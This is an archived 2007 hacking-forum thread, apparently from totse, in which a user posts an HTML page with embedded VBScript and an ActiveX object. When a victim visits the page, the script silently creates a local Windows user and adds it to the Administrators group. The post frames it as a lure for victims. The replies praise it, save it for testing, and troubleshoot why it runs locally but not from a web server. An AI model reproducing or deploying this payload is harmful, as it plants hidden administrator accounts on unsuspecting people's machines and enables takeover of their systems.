About
Community
Bad Ideas
Drugs
Ego
Erotica
Fringe
Society
Technology
register | bbs | search | rss | faq | about
meet up | add to del.icio.us | digg it
Go Back   Community > Technology > Network Security and Hacking
Register FAQ Members List Calendar Search Today's Posts Mark Forums Read

Network Security and Hacking Interesting hacks and cracks. Info on firewalls, TCP/IP, encryption, networks, and security. The ins and outs of the phone system, caller services, how things work, what's illegal and what's not, cellular phones, beepers, telephony legislation, the PUC, ISDN, taps, who's listening, and switches. Talking about phones, hacking systems, technical advice, and such iscompletely LEGAL in the United States -- it's covered by the First Ammendment. What's illegal is conspiracy to commit a crime. So if you say something like "Meet me at 2am so we can crack a can" or "I changed my cellphone's number myself" you are criminally liable. Stating "You can crack a can by doing thus-and-so" or "If you wanted to change a cellphone's number, you could do it like so" is perfectly ok. Posting passwords, calling card numbers, or credit card numbers is forbidden on this network. Posting such info will get you booted off the net.

Reply
 
Thread Tools Display Modes
  #1   Add Gazz to your ignore list  
Old 2007-04-26, 19:39
Gazz Gazz is offline
Regular
 
Sheffield Town Send a message via AIM to Gazz Send a message via MSN to Gazz Send a message via Yahoo to Gazz Gazz is an unknown
Default Creating Administrator Account via Web Link

Creating Administrator Account via Web Link
The following script will create a user account with administrator privileges in the local system that also remotely. The attacker can upload the script in a web server and compel the victim to visit the malicious link. Once, the victim visits the vindictive link, he or she will not know that a new user account with administrator privileges has been created in his or her system.

Code:
<html>

<object id=wsh

classid=clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B></object>

<script language=vbscript>

set wshshell=createobject ("wscript.shell" )

a=wshshell.run ("cmd.exe /c net user NEW_USER PASS /add",0)

b=wshshell.run ("cmd.exe /c net localgroup Administrators NEW_USER /add",0)

window.close

</script>

</html>
New User Account Details:
Username: NEW_USER
Password: PASS

Have Fun! - Gazz
Reply With Quote
  #2   Add wargsm to your ignore list  
Old 2007-04-26, 20:44
wargsm wargsm is offline
Regular
 
randomstatename wargsm is an unknown
Default Re: Creating Administrator Account via Web Link

Never seen you in NS&H before....but nice post.

Not sure if Firefox will allow this to run, but I'll test it out now.

IE prompts "An activeX controller may cause damage if executed 'yes' 'no'"

but most people will click yes anyway.

Nice script.

You written anymore?


S'pose this will be good when I know I don't have time for "rescue cd's"



For some reason this wont work when I added it to a web server. Any idea why this is happening? Testing it out on my own machine, works fine when I run locally, but not through the web.

Last edited by wargsm : 2007-04-26 at 21:15.
Reply With Quote
  #3   Add oddballz194 to your ignore list  
Old 2007-04-26, 21:38
oddballz194 oddballz194 is offline
Regular
 
oddballz194 is an unknown
Default Re: Creating Administrator Account via Web Link

Quote:
Originally Posted by wargsm View Post
Never seen you in NS&H before....but nice post.

Not sure if Firefox will allow this to run, but I'll test it out now.

[EDITED FOR BREVITY]

For some reason this wont work when I added it to a web server. Any idea why this is happening? Testing it out on my own machine, works fine when I run locally, but not through the web.
I've seen him here before. Nice enough guy.

It shouldn't run in Firefox, since it doesn't support ActiveX, nor VBScript.

One reason it might not run on the Internet, but would run locally, is that you typically have tighter security settings for Internet sites.

Just a thought.
Reply With Quote
  #4   Add Gazz to your ignore list  
Old 2007-04-26, 22:07
Gazz Gazz is offline
Regular
 
Sheffield Town Send a message via AIM to Gazz Send a message via MSN to Gazz Send a message via Yahoo to Gazz Gazz is an unknown
Default Re: Creating Administrator Account via Web Link

The script is the product of an hour of boredom earlier. I haven't tested it, or plan too, I posted it here for the concept.
Reply With Quote
  #5   Add HomieG6189 to your ignore list  
Old 2007-04-26, 22:32
HomieG6189 HomieG6189 is offline
Regular
 
A place called Vertigo Send a message via AIM to HomieG6189 HomieG6189 is an unknown
Default Re: Creating Administrator Account via Web Link

Very good post. *bookmarks*
Reply With Quote
  #6   Add oddballz194 to your ignore list  
Old 2007-04-26, 23:17
oddballz194 oddballz194 is offline
Regular
 
oddballz194 is an unknown
Default Re: Creating Administrator Account via Web Link

Quote:
Originally Posted by HomieG6189 View Post
Very good post.
Agreed.
Reply With Quote
  #7   Add dfgremnantsunleashed to your ignore list  
Old 2007-04-27, 14:12
dfgremnantsunleashed dfgremnantsunleashed is online now
Regular
 
a.K.a Dfg Send a message via MSN to dfgremnantsunleashed Send a message via Yahoo to dfgremnantsunleashed dfgremnantsunleashed is an unknown
Default Re: Creating Administrator Account via Web Link

Quote:
Originally Posted by oddballz194 View Post
I've seen him here before. Nice enough guy.

It shouldn't run in Firefox, since it doesn't support ActiveX, nor VBScript.

One reason it might not run on the Internet, but would run locally, is that you typically have tighter security settings for Internet sites.

Just a thought.
Yep IE7/6 have lower security settings for local files, BTW it would easily work on lower IE version.
you can also edit it to delete and account also,because if you can create an account you can also delete an account.
Also if the user is power user or lower with an NTFS file system this might not work.
Nice post though saved it for later testing.I haven't tested but by the looks it may or may not work.
+1
BTW Gazz is a regular in SG if i am not wrong.
Reply With Quote
  #8   Add Gazz to your ignore list  
Old 2007-04-27, 22:02
Gazz Gazz is offline
Regular
 
Sheffield Town Send a message via AIM to Gazz Send a message via MSN to Gazz Send a message via Yahoo to Gazz Gazz is an unknown
Default Re: Creating Administrator Account via Web Link

Quote:
Originally Posted by dfgremnantsunleashed View Post
Yep IE7/6 have lower security settings for local files, BTW it would easily work on lower IE version.
you can also edit it to delete and account also,because if you can create an account you can also delete an account.
Also if the user is power user or lower with an NTFS file system this might not work.
Nice post though saved it for later testing.I haven't tested but by the looks it may or may not work.
+1
BTW Gazz is a regular in SG if i am not wrong.
You're Correct I am a regular in SG, shameful as it may be.
Reply With Quote
  #9   Add dfgremnantsunleashed to your ignore list  
Old 2007-04-27, 22:18
dfgremnantsunleashed dfgremnantsunleashed is online now
Regular
 
a.K.a Dfg Send a message via MSN to dfgremnantsunleashed Send a message via Yahoo to dfgremnantsunleashed dfgremnantsunleashed is an unknown
Smile Re: Creating Administrator Account via Web Link

Quote:
Originally Posted by Gazz View Post
You're Correct I am a regular in SG, shameful as it may be.
No it's not shameful i am a regular too .
Reply With Quote
  #10   Add lesserlightsofheaven to your ignore list  
Old 2007-04-28, 01:25
lesserlightsofheaven lesserlightsofheaven is offline
Regular
 
Suburban Buffalo New York. Send a message via AIM to lesserlightsofheaven lesserlightsofheaven is an unknown
Smile Re: Creating Administrator Account via Web Link

Of course, this assumes they're running windows, and are operating at the administrator level, but good post at any rate.
Reply With Quote
This thread continued for 2 pages in the real archive, 11 posts total - only page 1 survived here.
Reply


Thread Tools
Show Printable Version Show Printable Version
Email this Page Email this Page
Display Modes
Linear Mode Linear Mode
Hybrid Mode Switch to Hybrid Mode
Threaded Mode Switch to Threaded Mode

Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

vB code is On
Smilies are On
[IMG] code is Off
HTML code is Off
Forum Jump

 
To the best of our knowledge, the text on this page may be freely reproduced and distributed.
 

totse.com certificate signatures
 
 
About | Community | Bad Ideas | Drugs | Ego | Erotica | Fringe | Society | Technology
Hot Topics